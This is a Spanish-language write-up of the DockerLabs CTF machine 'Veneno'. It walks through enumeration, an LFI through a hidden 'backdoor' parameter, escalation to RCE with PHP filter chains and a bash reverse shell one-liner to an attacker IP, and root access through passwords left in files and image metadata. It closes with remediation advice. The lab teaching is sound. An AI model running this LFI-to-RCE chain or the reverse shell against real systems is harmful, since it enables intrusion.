Ir al contenido

Veneno

Este documento detalla la resolución completa de la máquina Veneno, desarrollada por firstatack para la plataforma DockerLabs y clasificada como Medio.

El objetivo es describir el proceso completo de compromiso del sistema, desde la enumeración inicial hasta la escalada de privilegios, analizando cada vector de ataque y destacando las vulnerabilidades explotadas.

La metodología se divide en tres fases principales:

  1. Reconocimiento: identificación de servicios expuestos y análisis inicial.
  2. Explotación: obtención de acceso inicial mediante una vulnerabilidad LFI escalada a RCE.
  3. Escalada de privilegios: abuso de información sensible y mala configuración para obtener acceso root.

Todas las acciones fueron realizadas en el entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreVeneno
Autorfirstatack
DificultadMedio
Fecha30/06/2024
PlataformaDockerLabs

Se descomprime y despliega la máquina:

Ventana de terminal
unzip "Veneno.zip"
sudo bash auto_deploy.sh "Veneno.tar"

IP asignada


Ventana de terminal
mkdir -p Veneno/{content,exploits,nmap,gobuster,scripts}
cd Veneno
Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos identificados:

  • 22/tcp – SSH
  • 80/tcp – HTTP

Puertos abiertos


Se realiza un escaneo de directorios:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,html,txt,js -t 200

gobuster result

Rutas relevantes encontradas

  • /index.html — página por defecto de Apache
  • /uploads — directorio accesible
  • /problems.php — archivo PHP que redirige constantemente al index

El archivo problems.php siempre redirige al index, lo que sugiere que está leyendo archivos basados en algún parámetro oculto. Se intenta descubrir dicho parámetro con ffuf:

Ventana de terminal
ffuf -u "http://172.17.0.2/problems.php?FUZZ=id" \
-w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" \
-fs 10671

ffuf result

El parámetro encontrado es:

backdoor

Probamos un LFI:

Ventana de terminal
curl http://172.17.0.2/problems.php?backdoor=/etc/passwd

content of passwd

Se identifica el usuario:

carlos

Para convertir el LFI en ejecución remota de comandos se usa:

php_filter_chain_generator

Ventana de terminal
php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

La cadena generada se inserta dentro del parámetro vulnerable y se prueba con:

Ventana de terminal
&cmd=id

Al confirmarse la ejecución de comandos, se procede a obtener una reverse shell.

Ventana de terminal
nc -nlvp 443
Ventana de terminal
urlencode "bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'"

Ejecutamos la petición final:

Ventana de terminal
curl 'http://172.17.0.2/problems.php?backdoor=php://filter<RECORTADO>php://temp&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F443%200%3E%261%27' --output -

reverse shell


#@# 3.1 De www-data → Carlos

Se identifica un archivo sospechoso:

content of txt

La pista menciona una contraseña guardada desde hace 24 años. Buscamos archivos antiguos:

Ventana de terminal
find / -type f -mtime +8700 2>/dev/null

find result

El archivo inhackeable_pass.txt contiene la contraseña de carlos. Se accede con:

su carlos


Listado de directorio del usuario:

conternt of user home

Para encontrar un archivo relevante:

Ventana de terminal
find . -type f 2>/dev/null

result of find

Se encuentra la imagen oculta:

/carpeta55/.toor.jpg

Se descarga con SCP:

Ventana de terminal
scp carlos@172.17.0.2:/home/carlos/carpeta55/.toor.jpg ./.toor.jpg
Ventana de terminal
exiftool .toor.jpg

exiftool image quality

En Image Quality aparece:

pingui1730

Esto es la contraseña de root:

Ventana de terminal
su root

root id


Permite leer archivos arbitrarios del sistema.

2. Escalada de LFI → RCE mediante filtros de PHP

Sección titulada «2. Escalada de LFI → RCE mediante filtros de PHP»

Los wrappers php://filter deben estar deshabilitados en producción.

inhackeable_pass.txt contenía credenciales reales.

La contraseña de root estaba incrustada en una imagen.

El uso de find -mtime permitió descubrir archivos críticos abandonados.

Archivos sensibles accesibles desde el servicio web.


1. Validar y sanear parámetros de entrada en PHP

Sección titulada «1. Validar y sanear parámetros de entrada en PHP»

Implementar whitelists y sanitización estricta.

Especialmente php://filter, php://input, expect://.

Usar vaults, variables de entorno o archivos cifrados.

4. Limpiar metadatos antes de publicar archivos

Sección titulada «4. Limpiar metadatos antes de publicar archivos»

Script automático que elimine EXIF.

Aplicar principio de mínimo privilegio.

6. Establecer auditorías periódicas de archivos antiguos

Sección titulada «6. Establecer auditorías periódicas de archivos antiguos»

Eliminar, archivar o cifrar archivos fuera de uso.